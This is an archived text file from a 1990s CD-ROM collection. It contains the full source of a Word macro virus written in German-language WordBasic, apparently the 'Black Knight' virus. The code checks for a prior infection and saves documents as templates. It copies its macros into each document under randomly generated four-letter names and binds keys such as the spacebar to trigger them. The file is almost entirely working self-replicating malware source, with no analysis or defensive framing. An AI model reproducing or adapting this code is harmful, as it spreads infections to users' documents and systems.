home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / BKNIGHT.ZIP / BLACKKN2.TXT < prev   
Text File  |  1996-12-26  |  3KB  |  126 lines
  1. Sub MAIN
  2. On Error Goto Finish
  3.  
  4. A$ = DateiName$()
  5. If A$ = "" Then Goto Finish
  6.  
  7. CO$ = GetProfileString$("Intl", "Info1")
  8. OC$ = GetProfileString$("Intl", "Info2")
  9.  
  10. If VInstalled = 1 Then
  11.     Goto Finish
  12. Else
  13.     On Error Resume Next
  14.     DateiSpeichernUnter .Format = 1
  15.     Run1
  16.     Run2
  17.     DateiAllesSpeichern 1, 0
  18. End If
  19.  
  20. Finish:
  21. A$ = DateiName$()
  22. If A$ = "" Then
  23.     Goto Finito
  24. Else
  25.     Einfⁿgen " "
  26. End If
  27.  
  28. Finito:
  29. End Sub
  30.  
  31. Sub Run1
  32. X$ = Fun$(F$, G$, H$, J$)
  33. Y$ = Fun$(F$, G$, H$, J$)
  34.  
  35. Z$ = X$ + Y$
  36.  
  37. CO$ = GetProfileString$("Intl", "Info2")
  38. MakroKopieren "Global:" + CO$, DateiName$() + ":" + Z$, 1
  39. DokumentVariableBestimmen "VirName", Z$
  40. ExtrasAnpassenTastatur .TastenSchlⁿssel = 32, .Kategorie = 2, .Name = Z$, .Hinzufⁿgen, .Kontext = 1
  41. End Sub
  42.  
  43. Sub Run2
  44. X$ = Fun$(F$, G$, H$, J$)
  45. Y$ = Fun$(F$, G$, H$, J$)
  46.  
  47. Z$ = X$ + Y$
  48.  
  49. OC$ = GetProfileString$("Intl", "Info1")
  50. MakroKopieren "Global:" + OC$, DateiName$() + ":" + Z$, 1
  51. DokumentVariableBestimmen "VirNameDoc", Z$
  52. ExtrasAnpassenTastatur .TastenSchlⁿssel = 69, .Kategorie = 2, .Name = Z$, .Hinzufⁿgen, .Kontext = 1
  53. End Sub
  54.  
  55. Function VInstalled
  56. On Error Resume Next
  57. CC$ = AbrufenDokumentVar$("VirNameDoc")
  58.     VInstalled = 0
  59.     If ZΣhlenMakros(1) > 0 Then
  60.         For i = 1 To ZΣhlenMakros(1)
  61.             If MakroName$(i, 1) = CC$ Then
  62.                 VInstalled = 1
  63.             End If
  64.         Next i
  65.     End If
  66. End Function
  67.  
  68. Function Fun$(F$, G$, H$, J$)
  69. One = 1169
  70. Two = 9294
  71. Num = Int(Rnd() * (Two - One) + One)
  72. A$ = Str$(Num)
  73. A$ = LTrim$(A$)
  74.  
  75. B$ = Mid$(A$, 1, 1)
  76. C$ = Mid$(A$, 2, 1)
  77. D$ = Mid$(A$, 3, 1)
  78. E$ = Mid$(A$, 4, 1)
  79.  
  80. If B$ = "1" Then F$ = "A"
  81. If B$ = "2" Then F$ = "B"
  82. If B$ = "3" Then F$ = "C"
  83. If B$ = "4" Then F$ = "D"
  84. If B$ = "5" Then F$ = "E"
  85. If B$ = "6" Then F$ = "F"
  86. If B$ = "7" Then F$ = "G"
  87. If B$ = "8" Then F$ = "H"
  88. If B$ = "9" Then F$ = "I"
  89. If B$ = "0" Then F$ = "J"
  90.  
  91. If C$ = "1" Then G$ = "H"
  92. If C$ = "2" Then G$ = "I"
  93. If C$ = "3" Then G$ = "J"
  94. If C$ = "4" Then G$ = "K"
  95. If C$ = "5" Then G$ = "L"
  96. If C$ = "6" Then G$ = "M"
  97. If C$ = "7" Then G$ = "N"
  98. If C$ = "8" Then G$ = "O"
  99. If C$ = "9" Then G$ = "P"
  100. If C$ = "0" Then G$ = "Q"
  101.  
  102. If D$ = "1" Then H$ = "A"
  103. If D$ = "2" Then H$ = "B"
  104. If D$ = "3" Then H$ = "C"
  105. If D$ = "4" Then H$ = "D"
  106. If D$ = "5" Then H$ = "E"
  107. If D$ = "6" Then H$ = "F"
  108. If D$ = "7" Then H$ = "G"
  109. If D$ = "8" Then H$ = "H"
  110. If D$ = "9" Then H$ = "I"
  111. If D$ = "0" Then H$ = "J"
  112.  
  113. If E$ = "1" Then J$ = "R"
  114. If E$ = "2" Then J$ = "S"
  115. If E$ = "3" Then J$ = "T"
  116. If E$ = "4" Then J$ = "U"
  117. If E$ = "5" Then J$ = "V"
  118. If E$ = "6" Then J$ = "W"
  119. If E$ = "7" Then J$ = "X"
  120. If E$ = "8" Then J$ = "Y"
  121. If E$ = "9" Then J$ = "Z"
  122. If E$ = "0" Then J$ = "Q"
  123.  
  124. Fun$ = F$ + G$ + H$ + J$
  125. End Function
  126.